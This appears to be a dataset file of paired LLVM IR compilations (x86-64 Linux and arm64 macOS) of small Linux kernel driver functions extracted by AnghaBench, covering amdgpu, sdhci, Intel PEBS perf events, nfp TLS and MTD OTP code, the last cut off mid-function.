source_filename = "AnghaBench/linux/drivers/gpu/drm/amd/amdgpu/extr_amdgpu_rlc.c_amdgpu_gfx_rlc_exit_safe_mode.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@AMD_CG_SUPPORT_GFX_CGCG = common local_unnamed_addr global i32 0, align 4
@AMD_CG_SUPPORT_GFX_MGCG = common local_unnamed_addr global i32 0, align 4
@AMD_CG_SUPPORT_GFX_3D_CGCG = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define void @amdgpu_gfx_rlc_exit_safe_mode(ptr noundef %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds i8, ptr %0, i64 8
%3 = load i32, ptr %2, align 8, !tbaa !6
%4 = icmp eq i32 %3, 0
br i1 %4, label %25, label %5
5: ; preds = %1
%6 = getelementptr inbounds i8, ptr %0, i64 16
%7 = load ptr, ptr %6, align 8, !tbaa !14
%8 = getelementptr inbounds i8, ptr %7, i64 8
%9 = load ptr, ptr %8, align 8, !tbaa !15
%10 = tail call i32 %9(ptr noundef nonnull %0) #1
%11 = icmp eq i32 %10, 0
br i1 %11, label %25, label %12
12: ; preds = %5
%13 = load i32, ptr %0, align 8, !tbaa !17
%14 = load i32, ptr @AMD_CG_SUPPORT_GFX_CGCG, align 4, !tbaa !18
%15 = load i32, ptr @AMD_CG_SUPPORT_GFX_MGCG, align 4, !tbaa !18
%16 = or i32 %15, %14
%17 = load i32, ptr @AMD_CG_SUPPORT_GFX_3D_CGCG, align 4, !tbaa !18
%18 = or i32 %16, %17
%19 = and i32 %18, %13
%20 = icmp eq i32 %19, 0
br i1 %20, label %25, label %21
21: ; preds = %12
%22 = load ptr, ptr %6, align 8, !tbaa !14
%23 = load ptr, ptr %22, align 8, !tbaa !19
%24 = tail call i32 %23(ptr noundef nonnull %0) #1
store i32 0, ptr %2, align 8, !tbaa !6
br label %25
25: ; preds = %5, %1, %21, %12
ret void
}
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 8}
!7 = !{!"amdgpu_device", !8, i64 0, !11, i64 8}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"TYPE_5__", !12, i64 0}
!12 = !{!"TYPE_6__", !8, i64 0, !13, i64 8}
!13 = !{!"any pointer", !9, i64 0}
!14 = !{!7, !13, i64 16}
!15 = !{!16, !13, i64 8}
!16 = !{!"TYPE_4__", !13, i64 0, !13, i64 8}
!17 = !{!7, !8, i64 0}
!18 = !{!8, !8, i64 0}
!19 = !{!16, !13, i64 0}
| linux_drivers_gpu_drm_amd_amdgpu_extr_amdgpu_rlc.c_amdgpu_gfx_rlc_exit_safe_mode |
; ModuleID = 'AnghaBench/linux/drivers/mmc/host/extr_sdhci.c_sdhci_start_tuning.c'
source_filename = "AnghaBench/linux/drivers/mmc/host/extr_sdhci.c_sdhci_start_tuning.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@SDHCI_HOST_CONTROL2 = dso_local local_unnamed_addr global i32 0, align 4
@SDHCI_CTRL_EXEC_TUNING = dso_local local_unnamed_addr global i32 0, align 4
@SDHCI_QUIRK2_TUNING_WORK_AROUND = dso_local local_unnamed_addr global i32 0, align 4
@SDHCI_CTRL_TUNED_CLK = dso_local local_unnamed_addr global i32 0, align 4
@SDHCI_INT_DATA_AVAIL = dso_local local_unnamed_addr global i32 0, align 4
@SDHCI_INT_ENABLE = dso_local local_unnamed_addr global i32 0, align 4
@SDHCI_SIGNAL_ENABLE = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local void @sdhci_start_tuning(ptr noundef %0) local_unnamed_addr #0 {
%2 = load i32, ptr @SDHCI_HOST_CONTROL2, align 4, !tbaa !5
%3 = tail call i32 @sdhci_readw(ptr noundef %0, i32 noundef %2) #2
%4 = load i32, ptr @SDHCI_CTRL_EXEC_TUNING, align 4, !tbaa !5
%5 = or i32 %4, %3
%6 = load i32, ptr %0, align 4, !tbaa !9
%7 = load i32, ptr @SDHCI_QUIRK2_TUNING_WORK_AROUND, align 4, !tbaa !5
%8 = and i32 %7, %6
%9 = icmp eq i32 %8, 0
%10 = load i32, ptr @SDHCI_CTRL_TUNED_CLK, align 4
%11 = select i1 %9, i32 0, i32 %10
%12 = or i32 %5, %11
%13 = load i32, ptr @SDHCI_HOST_CONTROL2, align 4, !tbaa !5
%14 = tail call i32 @sdhci_writew(ptr noundef nonnull %0, i32 noundef %12, i32 noundef %13) #2
%15 = load i32, ptr @SDHCI_INT_DATA_AVAIL, align 4, !tbaa !5
%16 = load i32, ptr @SDHCI_INT_ENABLE, align 4, !tbaa !5
%17 = tail call i32 @sdhci_writel(ptr noundef nonnull %0, i32 noundef %15, i32 noundef %16) #2
%18 = load i32, ptr @SDHCI_INT_DATA_AVAIL, align 4, !tbaa !5
%19 = load i32, ptr @SDHCI_SIGNAL_ENABLE, align 4, !tbaa !5
%20 = tail call i32 @sdhci_writel(ptr noundef nonnull %0, i32 noundef %18, i32 noundef %19) #2
ret void
}
declare i32 @sdhci_readw(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @sdhci_writew(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @sdhci_writel(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
!9 = !{!10, !6, i64 0}
!10 = !{!"sdhci_host", !6, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/mmc/host/extr_sdhci.c_sdhci_start_tuning.c'
source_filename = "AnghaBench/linux/drivers/mmc/host/extr_sdhci.c_sdhci_start_tuning.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@SDHCI_HOST_CONTROL2 = common local_unnamed_addr global i32 0, align 4
@SDHCI_CTRL_EXEC_TUNING = common local_unnamed_addr global i32 0, align 4
@SDHCI_QUIRK2_TUNING_WORK_AROUND = common local_unnamed_addr global i32 0, align 4
@SDHCI_CTRL_TUNED_CLK = common local_unnamed_addr global i32 0, align 4
@SDHCI_INT_DATA_AVAIL = common local_unnamed_addr global i32 0, align 4
@SDHCI_INT_ENABLE = common local_unnamed_addr global i32 0, align 4
@SDHCI_SIGNAL_ENABLE = common local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind ssp uwtable(sync)
define void @sdhci_start_tuning(ptr noundef %0) local_unnamed_addr #0 {
%2 = load i32, ptr @SDHCI_HOST_CONTROL2, align 4, !tbaa !6
%3 = tail call i32 @sdhci_readw(ptr noundef %0, i32 noundef %2) #2
%4 = load i32, ptr @SDHCI_CTRL_EXEC_TUNING, align 4, !tbaa !6
%5 = or i32 %4, %3
%6 = load i32, ptr %0, align 4, !tbaa !10
%7 = load i32, ptr @SDHCI_QUIRK2_TUNING_WORK_AROUND, align 4, !tbaa !6
%8 = and i32 %7, %6
%9 = icmp eq i32 %8, 0
%10 = load i32, ptr @SDHCI_CTRL_TUNED_CLK, align 4
%11 = select i1 %9, i32 0, i32 %10
%12 = or i32 %5, %11
%13 = load i32, ptr @SDHCI_HOST_CONTROL2, align 4, !tbaa !6
%14 = tail call i32 @sdhci_writew(ptr noundef nonnull %0, i32 noundef %12, i32 noundef %13) #2
%15 = load i32, ptr @SDHCI_INT_DATA_AVAIL, align 4, !tbaa !6
%16 = load i32, ptr @SDHCI_INT_ENABLE, align 4, !tbaa !6
%17 = tail call i32 @sdhci_writel(ptr noundef nonnull %0, i32 noundef %15, i32 noundef %16) #2
%18 = load i32, ptr @SDHCI_INT_DATA_AVAIL, align 4, !tbaa !6
%19 = load i32, ptr @SDHCI_SIGNAL_ENABLE, align 4, !tbaa !6
%20 = tail call i32 @sdhci_writel(ptr noundef nonnull %0, i32 noundef %18, i32 noundef %19) #2
ret void
}
declare i32 @sdhci_readw(ptr noundef, i32 noundef) local_unnamed_addr #1
declare i32 @sdhci_writew(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @sdhci_writel(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 0}
!11 = !{!"sdhci_host", !7, i64 0}
| linux_drivers_mmc_host_extr_sdhci.c_sdhci_start_tuning |
; ModuleID = 'AnghaBench/fastsocket/kernel/arch/x86/kernel/cpu/extr_perf_event_intel_ds.c___intel_pmu_pebs_event.c'
source_filename = "AnghaBench/fastsocket/kernel/arch/x86/kernel/cpu/extr_perf_event_intel_ds.c___intel_pmu_pebs_event.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.perf_sample_data = type { i32 }
%struct.pt_regs = type { i32, i32, i32, i32 }
%struct.perf_event = type { %struct.TYPE_4__, %struct.TYPE_3__ }
%struct.TYPE_4__ = type { i32 }
%struct.TYPE_3__ = type { i32 }
%struct.pebs_record_core = type { i32, i32, i32 }
@PERF_EFLAGS_EXACT = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @__intel_pmu_pebs_event], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @__intel_pmu_pebs_event(ptr noundef %0, ptr nocapture noundef readonly %1, ptr nocapture noundef readonly %2) #0 {
%4 = alloca %struct.perf_sample_data, align 4
%5 = alloca %struct.pt_regs, align 4
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3
call void @llvm.lifetime.start.p0(i64 16, ptr nonnull %5) #3
%6 = tail call i32 @intel_pmu_save_and_restart(ptr noundef %0) #3
%7 = icmp eq i32 %6, 0
br i1 %7, label %38, label %8
8: ; preds = %3
%9 = call i32 @perf_sample_data_init(ptr noundef nonnull %4, i32 noundef 0) #3
%10 = getelementptr inbounds %struct.perf_event, ptr %0, i64 0, i32 1
%11 = load i32, ptr %10, align 4, !tbaa !5
store i32 %11, ptr %4, align 4, !tbaa !12
%12 = load i32, ptr %1, align 4
store i32 %12, ptr %5, align 4
%13 = getelementptr inbounds %struct.pebs_record_core, ptr %2, i64 0, i32 2
%14 = load i32, ptr %13, align 4, !tbaa !14
%15 = getelementptr inbounds %struct.pt_regs, ptr %5, i64 0, i32 3
store i32 %14, ptr %15, align 4, !tbaa !16
%16 = getelementptr inbounds %struct.pt_regs, ptr %5, i64 0, i32 1
%17 = load <2 x i32>, ptr %2, align 4, !tbaa !18
store <2 x i32> %17, ptr %16, align 4, !tbaa !18
%18 = load i32, ptr %0, align 4, !tbaa !19
%19 = icmp sgt i32 %18, 1
br i1 %19, label %20, label %27
20: ; preds = %8
%21 = call i64 @intel_pmu_pebs_fixup_ip(ptr noundef nonnull %5) #3
%22 = icmp eq i64 %21, 0
br i1 %22, label %27, label %23
23: ; preds = %20
%24 = load i32, ptr @PERF_EFLAGS_EXACT, align 4, !tbaa !18
%25 = load i32, ptr %5, align 4, !tbaa !20
%26 = or i32 %25, %24
br label %32
27: ; preds = %20, %8
%28 = load i32, ptr @PERF_EFLAGS_EXACT, align 4, !tbaa !18
%29 = xor i32 %28, -1
%30 = load i32, ptr %5, align 4, !tbaa !20
%31 = and i32 %30, %29
br label %32
32: ; preds = %27, %23
%33 = phi i32 [ %31, %27 ], [ %26, %23 ]
store i32 %33, ptr %5, align 4, !tbaa !20
%34 = call i64 @perf_event_overflow(ptr noundef nonnull %0, ptr noundef nonnull %4, ptr noundef nonnull %5) #3
%35 = icmp eq i64 %34, 0
br i1 %35, label %38, label %36
36: ; preds = %32
%37 = call i32 @x86_pmu_stop(ptr noundef nonnull %0, i32 noundef 0) #3
br label %38
38: ; preds = %32, %36, %3
call void @llvm.lifetime.end.p0(i64 16, ptr nonnull %5) #3
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @intel_pmu_save_and_restart(ptr noundef) local_unnamed_addr #2
declare i32 @perf_sample_data_init(ptr noundef, i32 noundef) local_unnamed_addr #2
declare i64 @intel_pmu_pebs_fixup_ip(ptr noundef) local_unnamed_addr #2
declare i64 @perf_event_overflow(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @x86_pmu_stop(ptr noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !8, i64 4}
!6 = !{!"perf_event", !7, i64 0, !11, i64 4}
!7 = !{!"TYPE_4__", !8, i64 0}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"TYPE_3__", !8, i64 0}
!12 = !{!13, !8, i64 0}
!13 = !{!"perf_sample_data", !8, i64 0}
!14 = !{!15, !8, i64 8}
!15 = !{!"pebs_record_core", !8, i64 0, !8, i64 4, !8, i64 8}
!16 = !{!17, !8, i64 12}
!17 = !{!"pt_regs", !8, i64 0, !8, i64 4, !8, i64 8, !8, i64 12}
!18 = !{!8, !8, i64 0}
!19 = !{!6, !8, i64 0}
!20 = !{!17, !8, i64 0}
| ; ModuleID = 'AnghaBench/fastsocket/kernel/arch/x86/kernel/cpu/extr_perf_event_intel_ds.c___intel_pmu_pebs_event.c'
source_filename = "AnghaBench/fastsocket/kernel/arch/x86/kernel/cpu/extr_perf_event_intel_ds.c___intel_pmu_pebs_event.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.perf_sample_data = type { i32 }
%struct.pt_regs = type { i32, i32, i32, i32 }
@PERF_EFLAGS_EXACT = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @__intel_pmu_pebs_event], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @__intel_pmu_pebs_event(ptr noundef %0, ptr nocapture noundef readonly %1, ptr nocapture noundef readonly %2) #0 {
%4 = alloca %struct.perf_sample_data, align 4
%5 = alloca %struct.pt_regs, align 4
call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %4) #3
call void @llvm.lifetime.start.p0(i64 16, ptr nonnull %5) #3
%6 = tail call i32 @intel_pmu_save_and_restart(ptr noundef %0) #3
%7 = icmp eq i32 %6, 0
br i1 %7, label %38, label %8
8: ; preds = %3
%9 = call i32 @perf_sample_data_init(ptr noundef nonnull %4, i32 noundef 0) #3
%10 = getelementptr inbounds i8, ptr %0, i64 4
%11 = load i32, ptr %10, align 4, !tbaa !6
store i32 %11, ptr %4, align 4, !tbaa !13
%12 = load i32, ptr %1, align 4, !tbaa !15
store i32 %12, ptr %5, align 4, !tbaa !15
%13 = getelementptr inbounds i8, ptr %2, i64 8
%14 = load i32, ptr %13, align 4, !tbaa !16
%15 = getelementptr inbounds i8, ptr %5, i64 12
store i32 %14, ptr %15, align 4, !tbaa !18
%16 = getelementptr inbounds i8, ptr %5, i64 4
%17 = load <2 x i32>, ptr %2, align 4, !tbaa !15
store <2 x i32> %17, ptr %16, align 4, !tbaa !15
%18 = load i32, ptr %0, align 4, !tbaa !20
%19 = icmp sgt i32 %18, 1
br i1 %19, label %20, label %27
20: ; preds = %8
%21 = call i64 @intel_pmu_pebs_fixup_ip(ptr noundef nonnull %5) #3
%22 = icmp eq i64 %21, 0
br i1 %22, label %27, label %23
23: ; preds = %20
%24 = load i32, ptr @PERF_EFLAGS_EXACT, align 4, !tbaa !15
%25 = load i32, ptr %5, align 4, !tbaa !21
%26 = or i32 %25, %24
br label %32
27: ; preds = %20, %8
%28 = load i32, ptr @PERF_EFLAGS_EXACT, align 4, !tbaa !15
%29 = xor i32 %28, -1
%30 = load i32, ptr %5, align 4, !tbaa !21
%31 = and i32 %30, %29
br label %32
32: ; preds = %27, %23
%33 = phi i32 [ %31, %27 ], [ %26, %23 ]
store i32 %33, ptr %5, align 4, !tbaa !21
%34 = call i64 @perf_event_overflow(ptr noundef nonnull %0, ptr noundef nonnull %4, ptr noundef nonnull %5) #3
%35 = icmp eq i64 %34, 0
br i1 %35, label %38, label %36
36: ; preds = %32
%37 = call i32 @x86_pmu_stop(ptr noundef nonnull %0, i32 noundef 0) #3
br label %38
38: ; preds = %32, %36, %3
call void @llvm.lifetime.end.p0(i64 16, ptr nonnull %5) #3
call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %4) #3
ret void
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare i32 @intel_pmu_save_and_restart(ptr noundef) local_unnamed_addr #2
declare i32 @perf_sample_data_init(ptr noundef, i32 noundef) local_unnamed_addr #2
declare i64 @intel_pmu_pebs_fixup_ip(ptr noundef) local_unnamed_addr #2
declare i64 @perf_event_overflow(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2
declare i32 @x86_pmu_stop(ptr noundef, i32 noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !9, i64 4}
!7 = !{!"perf_event", !8, i64 0, !12, i64 4}
!8 = !{!"TYPE_4__", !9, i64 0}
!9 = !{!"int", !10, i64 0}
!10 = !{!"omnipotent char", !11, i64 0}
!11 = !{!"Simple C/C++ TBAA"}
!12 = !{!"TYPE_3__", !9, i64 0}
!13 = !{!14, !9, i64 0}
!14 = !{!"perf_sample_data", !9, i64 0}
!15 = !{!9, !9, i64 0}
!16 = !{!17, !9, i64 8}
!17 = !{!"pebs_record_core", !9, i64 0, !9, i64 4, !9, i64 8}
!18 = !{!19, !9, i64 12}
!19 = !{!"pt_regs", !9, i64 0, !9, i64 4, !9, i64 8, !9, i64 12}
!20 = !{!7, !9, i64 0}
!21 = !{!19, !9, i64 0}
| fastsocket_kernel_arch_x86_kernel_cpu_extr_perf_event_intel_ds.c___intel_pmu_pebs_event |
; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/netronome/nfp/crypto/extr_crypto.h_nfp_net_tls_init.c'
source_filename = "AnghaBench/linux/drivers/net/ethernet/netronome/nfp/crypto/extr_crypto.h_nfp_net_tls_init.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@llvm.compiler.used = appending global [1 x ptr] [ptr @nfp_net_tls_init], section "llvm.metadata"
; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable
define internal noundef i32 @nfp_net_tls_init(ptr nocapture readnone %0) #0 {
ret i32 0
}
attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/netronome/nfp/crypto/extr_crypto.h_nfp_net_tls_init.c'
source_filename = "AnghaBench/linux/drivers/net/ethernet/netronome/nfp/crypto/extr_crypto.h_nfp_net_tls_init.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@llvm.used = appending global [1 x ptr] [ptr @nfp_net_tls_init], section "llvm.metadata"
; Function Attrs: inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync)
define internal noundef i32 @nfp_net_tls_init(ptr nocapture readnone %0) #0 {
ret i32 0
}
attributes #0 = { inlinehint mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| linux_drivers_net_ethernet_netronome_nfp_crypto_extr_crypto.h_nfp_net_tls_init |
; ModuleID = 'AnghaBench/linux/drivers/mtd/chips/extr_cfi_cmdset_0002.c_otp_exit.c'
source_filename = "AnghaBench/linux/drivers/mtd/chips/extr_cfi_cmdset_0002.c_otp_exit.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.cfi_private = type { i32, i32, i32 }
@llvm.compiler.used = appending global [1 x ptr] [ptr @otp_exit], section "llvm.metadata"
; Function Attrs: inlinehint nounwind uwtable
define internal void @otp_exit(ptr noundef %0, ptr nocapture noundef readonly %1, i64 noundef %2, i64 noundef %3) #0 {
%5 = load ptr, ptr %0, align 8, !tbaa !5
%6 = getelementptr inbounds %struct.cfi_private, ptr %5, i64 0, i32 1
%7 = load i32, ptr %6, align 4, !tbaa !10
%8 = load i64, ptr %1, align 8, !tbaa !13
%9 = load i32, ptr %5, align 4, !tbaa !16
%10 = tail call i32 @cfi_send_gen_cmd(i32 noundef 170, i32 noundef %7, i64 noundef %8, ptr noundef nonnull %0, ptr noundef nonnull %5, i32 noundef %9, ptr noundef null) #2
%11 = getelementptr inbounds %struct.cfi_private, ptr %5, i64 0, i32 2
%12 = load i32, ptr %11, align 4, !tbaa !17
%13 = load i64, ptr %1, align 8, !tbaa !13
%14 = load i32, ptr %5, align 4, !tbaa !16
